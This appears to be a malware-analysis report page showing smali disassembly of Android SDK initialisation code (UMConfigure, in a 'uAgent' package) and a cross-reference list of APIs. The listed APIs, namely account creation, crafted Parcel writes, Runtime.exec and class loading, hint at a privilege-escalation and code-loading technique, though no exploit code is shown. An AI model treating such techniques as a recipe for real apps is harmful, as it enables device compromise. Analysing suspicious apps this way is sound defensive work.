                                                                              21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              22move-result-object v1
                                                                              24invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              25move-result-object v1
                                                                              27invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              28cond_26: if-nez p0, :cond_34
                                                                              29sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              30if-eqz v0, :cond_33
                                                                              32const-string v0, "UMConfigure"
                                                                              34const-string v1, "context is null !!!"
                                                                              36invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              37cond_33: return-void
                                                                              38cond_34:
                                                                              39invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              40move-result-object v1
                                                                              42invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              43move-result v0
                                                                              44if-eqz v0, :cond_42
                                                                              46invoke-static {v1}, LuAgent/commonsdk/utils/UMUtils;->getAppkeyByXML(Landroid/content/Context;)Ljava/lang/String;
                                                                              47move-result-object p1
                                                                              48cond_42:
                                                                              49invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              50move-result v0
                                                                              51if-eqz v0, :cond_355
                                                                              53invoke-static {v1}, LuAgent/commonsdk/utils/UMUtils;->getChannelByXML(Landroid/content/Context;)Ljava/lang/String;
                                                                              54move-result-object v0
                                                                              55goto_4c:
                                                                              56invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              57try_end_4f: move-result v2
                                                                              58if-eqz v2, :cond_54
                                                                              60const-string v0, "Unknown"
                                                                              61cond_54:
                                                                              62invoke-static {v1, v0}, LuAgent/commonsdk/utils/UMUtils;->setChannel(Landroid/content/Context;Ljava/lang/String;)V
                                                                              63sget-boolean v2, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              64if-eqz v2, :cond_73
                                                                              66const-string v2, "UMConfigure"
                                                                              67new-instance v3, Ljava/lang/StringBuilder;
                                                                              69invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              71const-string v4, "channel is "
                                                                              73invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              74move-result-object v3
                                                                              76invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              77move-result-object v3
                                                                              79invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              80move-result-object v3
                                                                              82invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              83cond_73:
                                                                              84invoke-static {}, LuAgent/commonsdk/UMConfigure;->saveSDKComponent()V
                                                                              85try_end_76:
                                                                              86const-string v2, "com.umeng.analytics.MobclickAgent"
                                                                              88invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              89move-result-object v2
                                                                              90if-eqz v2, :cond_a6
                                                                              92const-string v3, "init"
                                                                              93const/4 v4, 0x1
                                                                              94new-array v4, v4, [Ljava/lang/Class;
                                                                              95const/4 v5, 0x0
                                                                              96const-class v6, Landroid/content/Context;
                                                                              97aput-object v6, v4, v5
                                                                              99invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              100move-result-object v3
                                                                              101if-eqz v3, :cond_a6
                                                                              102const/4 v4, 0x1
                                                                              104invoke-virtual {v3, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              105const/4 v4, 0x1
                                                                              106new-array v4, v4, [Ljava/lang/Object;
                                                                              107const/4 v5, 0x0
                                                                              108aput-object v1, v4, v5
                                                                              110invoke-virtual {v3, v2, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              111sget-boolean v2, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              112if-eqz v2, :cond_a6
                                                                              114const-string v2, "UMConfigure"
                                                                              116const-string v3, "---->>>> init analytics is OK ~~"
                                                                              118invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              119goto_a6:
                                                                              120const-string v2, "com.umeng.message.PushAgent"
                                                                              122invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              123move-result-object v2
                                                                              124if-eqz v2, :cond_f2
                                                                              126const-string v3, "getInstance"
                                                                              127const/4 v4, 0x1
                                                                              128new-array v4, v4, [Ljava/lang/Class;
                                                                              129const/4 v5, 0x0
                                                                              130const-class v6, Landroid/content/Context;
                                                                              131aput-object v6, v4, v5
                                                                              133invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              134move-result-object v3
                                                                              135if-eqz v3, :cond_f2
                                                                              136const/4 v4, 0x1
                                                                              137new-array v4, v4, [Ljava/lang/Object;
                                                                              138const/4 v5, 0x0
                                                                              139aput-object v1, v4, v5
                                                                              141invoke-virtual {v3, v2, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              142move-result-object v3
                                                                              143if-eqz v3, :cond_f2
                                                                              145const-string v4, "setAppkey"
                                                                              146const/4 v5, 0x1
                                                                              147new-array v5, v5, [Ljava/lang/Class;
                                                                              148const/4 v6, 0x0
                                                                              149const-class v7, Ljava/lang/String;
                                                                              150aput-object v7, v5, v6
                                                                              152invoke-virtual {v2, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              153move-result-object v2
                                                                              154if-eqz v2, :cond_f2
                                                                              155const/4 v4, 0x1
                                                                              157invoke-virtual {v2, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              158const/4 v4, 0x1
                                                                              159new-array v4, v4, [Ljava/lang/Object;
                                                                              160const/4 v5, 0x0
                                                                              161aput-object p1, v4, v5
                                                                              163invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              164sget-boolean v2, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              165if-eqz v2, :cond_f2
                                                                              167const-string v2, "UMConfigure"
                                                                              169const-string v3, "---->>>> init Push app key is OK ~~"
                                                                              171invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              172cond_f2:
                                                                              173const-string v2, "com.umeng.message.PushAgent"
                                                                              175invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              176move-result-object v2
                                                                              177if-eqz v2, :cond_13e
                                                                              179const-string v3, "getInstance"
                                                                              180const/4 v4, 0x1
                                                                              181new-array v4, v4, [Ljava/lang/Class;
                                                                              182const/4 v5, 0x0
                                                                              183const-class v6, Landroid/content/Context;
                                                                              184aput-object v6, v4, v5
                                                                              186invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              187move-result-object v3
                                                                              188if-eqz v3, :cond_13e
                                                                              189const/4 v4, 0x1
                                                                              190new-array v4, v4, [Ljava/lang/Object;
                                                                              191const/4 v5, 0x0
                                                                              192aput-object v1, v4, v5
                                                                              194invoke-virtual {v3, v2, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              195move-result-object v3
                                                                              196if-eqz v3, :cond_13e
                                                                              198const-string v4, "setMessageChannel"
                                                                              199const/4 v5, 0x1
                                                                              200new-array v5, v5, [Ljava/lang/Class;
                                                                              201const/4 v6, 0x0
                                                                              202const-class v7, Ljava/lang/String;
                                                                              203aput-object v7, v5, v6
                                                                              205invoke-virtual {v2, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              206move-result-object v2
                                                                              207if-eqz v2, :cond_13e
                                                                              208const/4 v4, 0x1
                                                                              210invoke-virtual {v2, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              211const/4 v4, 0x1
                                                                              212new-array v4, v4, [Ljava/lang/Object;
                                                                              213const/4 v5, 0x0
                                                                              214aput-object v0, v4, v5
                                                                              216invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              217sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              218if-eqz v0, :cond_13e
                                                                              220const-string v0, "UMConfigure"
                                                                              222const-string v2, "---->>>> init Push channel is OK ~~"
                                                                              224invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              225try_end_13e:
                                                                              226const-string v0, "com.umeng.socialize.UMShareAPI"
                                                                              228invoke-static {v0}, LuAgent/commonsdk/UMConfigure;->getClass(Ljava/lang/String;)Ljava/lang/Class;
                                                                              229move-result-object v0
                                                                              231const-string v2, "APPKEY"
                                                                              233invoke-static {v0, v2, p1}, LuAgent/commonsdk/UMConfigure;->setFile(Ljava/lang/Class;Ljava/lang/String;Ljava/lang/String;)V
                                                                              234if-eqz v0, :cond_17b
                                                                              236const-string v2, "init"
                                                                              237const/4 v3, 0x2
                                                                              238new-array v3, v3, [Ljava/lang/Class;
                                                                              239const/4 v4, 0x0
                                                                              240const-class v5, Landroid/content/Context;
                                                                              241aput-object v5, v3, v4
                                                                              242const/4 v4, 0x1
                                                                              243const-class v5, Ljava/lang/String;
                                                                              244aput-object v5, v3, v4
                                                                              246invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              247move-result-object v2
                                                                              248if-eqz v2, :cond_17b
                                                                              249const/4 v3, 0x1
                                                                              251invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              252const/4 v3, 0x2
                                                                              253new-array v3, v3, [Ljava/lang/Object;
                                                                              254const/4 v4, 0x0
                                                                              255aput-object v1, v3, v4
                                                                              256const/4 v4, 0x1
                                                                              257aput-object p1, v3, v4
                                                                              259invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              260sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              261if-eqz v0, :cond_17b
                                                                              263const-string v0, "UMConfigure"
                                                                              265const-string v2, "---->>>> init share appkey is OK ~~"
                                                                              267invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              268try_start_17b:
                                                                              269invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              270move-result v0
                                                                              271if-eqz v0, :cond_1ad
                                                                              272sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              273if-eqz v0, :cond_33
                                                                              275const-string v0, "UMConfigure"
                                                                              277const-string v1, "appkey is null !!!"
                                                                              279invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              280try_end_18c: goto/16 :goto_33
                                                                              281catch_18e: move-exception v0
                                                                              282sget-boolean v1, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              283if-eqz v1, :cond_33
                                                                              285const-string v1, "UMConfigure"
                                                                              286new-instance v2, Ljava/lang/StringBuilder;
                                                                              288invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              290const-string v3, "init e is "
                                                                              292invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              293move-result-object v2
                                                                              295invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              296move-result-object v0
                                                                              298invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              299move-result-object v0
                                                                              301invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              302goto/16 :goto_33
                                                                              303try_start_1ad:
                                                                              304invoke-static {v1, p1}, LuAgent/commonsdk/utils/UMUtils;->setAppkey(Landroid/content/Context;Ljava/lang/String;)V
                                                                              306invoke-static {v1}, LuAgent/commonsdk/utils/UMUtils;->getLastAppkey(Landroid/content/Context;)Ljava/lang/String;
                                                                              307move-result-object v0
                                                                              309invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              310move-result v2
                                                                              311if-nez v2, :cond_1d4
                                                                              313invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              314move-result v2
                                                                              315if-nez v2, :cond_1d4
                                                                              317invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              318move-result v2
                                                                              319if-nez v2, :cond_1d1
                                                                              320sget-boolean v2, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              321if-eqz v2, :cond_1d1
                                                                              323const-string v2, "UMConfigure"
                                                                              325const-string v3, "appkey is change !!!"
                                                                              327invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              328cond_1d1:
                                                                              329invoke-static {v1, p1}, LuAgent/commonsdk/utils/UMUtils;->setLastAppkey(Landroid/content/Context;Ljava/lang/String;)V
                                                                              330cond_1d4: sget-boolean v2, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              331if-eqz v2, :cond_1fa
                                                                              333const-string v2, "UMConfigure"
                                                                              334new-instance v3, Ljava/lang/StringBuilder;
                                                                              336invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              338const-string v4, "current appkey is "
                                                                              340invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              341move-result-object v3
                                                                              343invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              344move-result-object v3
                                                                              346const-string v4, ", last appkey is "
                                                                              348invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              349move-result-object v3
                                                                              351invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              352move-result-object v0
                                                                              354invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              355move-result-object v0
                                                                              357invoke-static {v2, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              358cond_1fa:
                                                                              359invoke-static {p3}, LuAgent/commonsdk/statistics/AnalyticsConstants;->setDeviceType(I)V
                                                                              361invoke-static {p4}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              362move-result v0
                                                                              363if-eqz v0, :cond_2b2
                                                                              364sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              365try_end_205: if-eqz v0, :cond_207
                                                                              366goto_207:
                                                                              367const-string v0, "com.umeng.error.UMError"
                                                                              369invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              370move-result-object v0
                                                                              371if-eqz v0, :cond_237
                                                                              373const-string v2, "init"
                                                                              374const/4 v3, 0x1
                                                                              375new-array v3, v3, [Ljava/lang/Class;
                                                                              376const/4 v4, 0x0
                                                                              377const-class v5, Landroid/content/Context;
                                                                              378aput-object v5, v3, v4
                                                                              380invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              381move-result-object v2
                                                                              382if-eqz v2, :cond_237
                                                                              383const/4 v3, 0x1
                                                                              385invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              386const/4 v3, 0x1
                                                                              387new-array v3, v3, [Ljava/lang/Object;
                                                                              388const/4 v4, 0x0
                                                                              389aput-object v1, v3, v4
                                                                              391invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              392sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              393if-eqz v0, :cond_237
                                                                              395const-string v0, "UMConfigure"
                                                                              397const-string v2, "---->>>> init um e is ok ~~"
                                                                              399invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              400try_end_237: sget v0, LuAgent/commonsdk/statistics/d;->b:I
                                                                              401try_end_239: if-eq v0, v8, :cond_323
                                                                              402try_start_23b:
                                                                              403const-string v0, "com.umeng.commonsdk.UMConfigureImpl"
                                                                              405invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              406move-result-object v0
                                                                              407if-eqz v0, :cond_260
                                                                              409const-string v2, "init"
                                                                              410const/4 v3, 0x1
                                                                              411new-array v3, v3, [Ljava/lang/Class;
                                                                              412const/4 v4, 0x0
                                                                              413const-class v5, Landroid/content/Context;
                                                                              414aput-object v5, v3, v4
                                                                              416invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              417move-result-object v2
                                                                              418if-eqz v2, :cond_260
                                                                              419const/4 v3, 0x1
                                                                              421invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              422const/4 v3, 0x1
                                                                              423new-array v3, v3, [Ljava/lang/Object;
                                                                              424const/4 v4, 0x0
                                                                              425aput-object v1, v3, v4
                                                                              427invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              428try_end_260:
                                                                              429const-string v0, "com.umeng.visual.UMVisualAgent"
                                                                              431invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              432move-result-object v0
                                                                              434const-string v1, "init"
                                                                              435const/4 v2, 0x2
                                                                              436new-array v2, v2, [Ljava/lang/Class;
                                                                              437const/4 v3, 0x0
                                                                              438const-class v4, Landroid/content/Context;
                                                                              439aput-object v4, v2, v3
                                                                              440const/4 v3, 0x1
                                                                              441const-class v4, Ljava/lang/String;
                                                                              442aput-object v4, v2, v3
                                                                              444invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              445move-result-object v0
                                                                              447invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              448move-result v1
                                                                              449if-nez v1, :cond_347
                                                                              450const/4 v1, 0x0
                                                                              451const/4 v2, 0x2
                                                                              452new-array v2, v2, [Ljava/lang/Object;
                                                                              453const/4 v3, 0x0
                                                                              454aput-object p0, v2, v3
                                                                              455const/4 v3, 0x1
                                                                              456aput-object p1, v2, v3
                                                                              458invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              459try_end_28c: goto/16 :goto_33
                                                                              460catch_28e: move-exception v0
                                                                              461try_start_28f:
                                                                              462const-string v0, "com.umeng.analytics.vismode.event.VisualHelper"
                                                                              464invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              465move-result-object v0
                                                                              467const-string v1, "init"
                                                                              468const/4 v2, 0x1
                                                                              469new-array v2, v2, [Ljava/lang/Class;
                                                                              470const/4 v3, 0x0
                                                                              471const-class v4, Landroid/content/Context;
                                                                              472aput-object v4, v2, v3
                                                                              474invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              475move-result-object v0
                                                                              476const/4 v1, 0x0
                                                                              477const/4 v2, 0x1
                                                                              478new-array v2, v2, [Ljava/lang/Object;
                                                                              479const/4 v3, 0x0
                                                                              480aput-object p0, v2, v3
                                                                              482invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              483try_end_2ad: goto/16 :goto_33
                                                                              484catch_2af: move-exception v0
                                                                              485goto/16 :goto_33
                                                                              486cond_2b2: sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              487if-eqz v0, :cond_2ce
                                                                              489const-string v0, "UMConfigure"
                                                                              490new-instance v2, Ljava/lang/StringBuilder;
                                                                              492invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              494const-string v3, "push secret is "
                                                                              496invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              497move-result-object v2
                                                                              499invoke-virtual {v2, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              500move-result-object v2
                                                                              502invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              503move-result-object v2
                                                                              505invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              506try_start_2ce:
                                                                              507const-string v0, "com.umeng.message.PushAgent"
                                                                              509invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              510move-result-object v0
                                                                              511if-eqz v0, :cond_207
                                                                              513const-string v2, "getInstance"
                                                                              514const/4 v3, 0x1
                                                                              515new-array v3, v3, [Ljava/lang/Class;
                                                                              516const/4 v4, 0x0
                                                                              517const-class v5, Landroid/content/Context;
                                                                              518aput-object v5, v3, v4
                                                                              520invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              521move-result-object v2
                                                                              522if-eqz v2, :cond_207
                                                                              523const/4 v3, 0x1
                                                                              525invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              526const/4 v3, 0x1
                                                                              527new-array v3, v3, [Ljava/lang/Object;
                                                                              528const/4 v4, 0x0
                                                                              529aput-object v1, v3, v4
                                                                              531invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              532move-result-object v2
                                                                              533if-eqz v2, :cond_207
                                                                              535const-string v3, "setSecret"
                                                                              536const/4 v4, 0x1
                                                                              537new-array v4, v4, [Ljava/lang/Class;
                                                                              538const/4 v5, 0x0
                                                                              539const-class v6, Ljava/lang/String;
                                                                              540aput-object v6, v4, v5
                                                                              542invoke-virtual {v0, v3, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              543move-result-object v0
                                                                              544if-eqz v0, :cond_207
                                                                              545const/4 v3, 0x1
                                                                              547invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              548const/4 v3, 0x1
                                                                              549new-array v3, v3, [Ljava/lang/Object;
                                                                              550const/4 v4, 0x0
                                                                              551aput-object p4, v3, v4
                                                                              553invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              554sget-boolean v0, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              555if-eqz v0, :cond_207
                                                                              557const-string v0, "UMConfigure"
                                                                              559const-string v2, "---->>>> init push secret is OK ~~"
                                                                              561invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                                              562try_end_31e: goto/16 :goto_207
                                                                              563catch_320: move-exception v0
                                                                              564goto/16 :goto_207
                                                                              565cond_323:
                                                                              566invoke-static {v1}, LuAgent/commonsdk/a;->a(Landroid/content/Context;)V
                                                                              567try_end_326: goto/16 :goto_260
                                                                              568catch_328: move-exception v0
                                                                              569sget-boolean v1, LuAgent/commonsdk/UMConfigure;->debugLog:Z
                                                                              570if-eqz v1, :cond_33
                                                                              572const-string v1, "UMConfigure"
                                                                              573new-instance v2, Ljava/lang/StringBuilder;
                                                                              575invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              577const-string v3, "init e is "
                                                                              579invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              580move-result-object v2
                                                                              582invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              583move-result-object v0
                                                                              585invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              586move-result-object v0
                                                                              588invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              589goto/16 :goto_33
                                                                              590try_start_347: sget-boolean v0, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              591if-eqz v0, :cond_33
                                                                              593const-string v0, "initDebugSDK appkey is null"
                                                                              595invoke-static {v0}, LuAgent/commonsdk/statistics/common/MLog;->e(Ljava/lang/String;)V
                                                                              596try_end_350: goto/16 :goto_33
                                                                              597catch_352: move-exception v0
                                                                              598goto/16 :goto_33
                                                                              599cond_355: move-object v0, p2
                                                                              600goto/16 :goto_4c
                                                                              601catch_358: move-exception v2
                                                                              602goto/16 :goto_a6
                                                                              603catch_35b: move-exception v2
                                                                              604goto/16 :goto_f2
                                                                              605catch_35e: move-exception v0
                                                                              606goto/16 :goto_13e
                                                                              607catch_361: move-exception v0
                                                                              608goto/16 :goto_17b
                                                                              609catch_364: move-exception v0
                                                                              610goto/16 :goto_237
                                                                              611catch_367: move-exception v0
                                                                              612goto/16 :goto_260
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageName
                                                                              • java.lang.String.equals
                                                                              • android.accounts.AccountManager.get
                                                                              • android.accounts.Account.<init>
                                                                              • android.accounts.AccountManager.addAccountExplicitly
                                                                              • android.os.Bundle.<init>
                                                                              • android.os.Parcel.obtain
                                                                              • android.os.Parcel.obtain
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeString
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeString
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.dataPosition
                                                                              • android.os.Parcel.writeString
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeString
                                                                              • android.os.Bundle.getString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.Runtime.getRuntime
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.Runtime.exec
                                                                              • java.lang.Object.wait
                                                                              • android.content.ComponentName.<init>
                                                                              • android.content.ComponentName.getPackageName
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getClassLoader
                                                                              • dalvik.system.PathClassLoader.<init>
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.newInstance
                                                                              • android.os.Bundle.getString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.pm.PackageManager.getApplicationInfo
                                                                              • android.os.Bundle.getString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.pm.PackageManager.getApplicationInfo
                                                                              • android.content.Context.getApplicationInfo
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setComponent
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Intent.putExtra
                                                                              • android.content.Intent.addFlags
                                                                              • android.content.Intent.addFlags
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.setData
                                                                              • android.content.Intent.writeToParcel
                                                                              • android.os.Parcel.dataPosition
                                                                              • android.os.Parcel.setDataPosition
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.setDataPosition
                                                                              • android.os.Parcel.writeString
                                                                              • android.os.Parcel.writeInt
